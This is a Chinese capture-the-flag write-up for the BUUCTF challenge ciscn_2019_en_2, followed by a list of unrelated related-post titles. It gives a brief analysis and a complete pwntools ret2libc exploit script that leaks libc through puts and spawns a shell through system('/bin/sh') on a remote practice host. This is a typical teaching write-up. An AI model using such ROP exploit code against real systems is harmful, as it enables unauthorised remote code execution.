buuctf|ciscn_2019_en_2 1

分析

下载后我重命名为pwn_14了
checksec一下

nx开启,可以栈溢出
64位,用ida看看

分析下,只有输入‘1’有用,即encrypt函数较为重要,进入encrypt
有gets(s),可以进行栈溢出,没有找到后门函数。
那基本思路有了,这里可以栈溢出,但要绕过strlen判断,之后就是基本的ROP,ret2libc。

exp

exp如下

from pwn import*
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')p=remote('node4.buuoj.cn',25305)
elf=ELF('./pwn_14')pop_addr=0x400c83
ret_addr=0x4006b9
puts_plt=elf.sym["puts"]
__libc_start_main=elf.got["__libc_start_main"]
main_addr=elf.sym['main']p.recv()
p.sendline(b'1')
payload1=b'\0'+b'A'*0x57+p64(pop_addr)+p64(__libc_start_main)+p64(puts_plt)+p64(main_addr)
p.recvuntil(b'Input your Plaintext to be encrypted\n')
p.sendline(payload1)p.recvline()
p.recvline()
__main_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))libc=LibcSearcher("__libc_start_main",__main_addr)
base=__main_addr-libc.dump('__libc_start_main')
system_addr=base+libc.dump('system')
binsh_addr=base+libc.dump('str_bin_sh')p.recv()
p.sendline(b'1')
payload2=b'\0'+b'A'*0x57+p64(ret_addr)+p64(pop_addr)+p64(binsh_addr)+p64(system_addr)
p.recvuntil(b'encrypted\n')
p.sendline(payload2)p.interactive()

flag

得flag

buuctf|ciscn_2019_en_2 1相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  3. [BUUCTF-pwn]——ciscn_2019_en_2

    [BUUCTF-pwn]--ciscn_2019_en_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_en_2 题目: 这是一道和之前一摸一样的题,请点 ...

  4. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  5. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  6. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  7. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  8. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

  9. buuctf Mark loves cat

    buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...

  10. BUUCTF·[MRCTF2020]天干地支+甲子·WP

    题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...

最新文章

  1. 简述mysql的概念及作用_数据库 简答题
  2. LeetCode——15. 3Sum
  3. Silverlight 5 Beta 新特性预览
  4. VTK:可视化之Opacity
  5. 《Ext详解与实践》节选:自定义单元格的显示格式
  6. redis深度历险:核心原理与应用实践_玩转Redis,阿里技术带你从核心原理到应用实践,一份文档全掌握...
  7. 【VB.NET】VB.NET窗体方法示例
  8. 鸟瞰 MySQL,唬住面试官!
  9. 基于遥感影像实现三种方法提取枣树面积精度分析
  10. 借助Haproxy_exporter实现对MarathonLb的流量和负载实例业务的可用状态监控
  11. 哨兵1号数据、精密轨道数据、DEM数据下载
  12. win11u盘无法弹出怎么办?win11u盘老是被占用不能退出?
  13. mapgis坡度分析_基于MAPGIS的空间分析.pdf
  14. KVM 多电脑切换器(KVM Switch)
  15. 玉米社:SEM竞价推广转化成本高?做好细节转化率蹭蹭往上涨
  16. 数据仓库建模方法/范式建模法/维度建模法/事实表/维度表/优缺点/建模流程/概念建模/逻辑建模/物理建模
  17. 学习笔记2018-10-26 读论文A single algorithm to retrieve turbidity from remotely-sensed data in all coastal
  18. 热部署与定时任务冲突问题解决方案
  19. springboot+jsp高校四六级英语报名系统
  20. redis数量计算(统计访问量等等)

热门文章

  1. bootstrap collapse切换改变图标
  2. 计算机网络之物联网的特点及其主要应用领域
  3. Angular最佳实践之$http-麻雀虽小 五脏俱全
  4. 计算机管理系统的图片,图片管理软件哪个好用?5款好用的图片管理软件推荐...
  5. couldn't set locale: correctly报错的解决
  6. 20190321——Python模块
  7. java设置短信验证码过期时间_实现短信验证码有效时间
  8. hdu 6344调查问卷(状态压缩,百度之星)
  9. linux tpp模式,tpp 'exec'命令任意代码执行漏洞
  10. 微型计算机鼠标连接,解决无线鼠标重新对码问题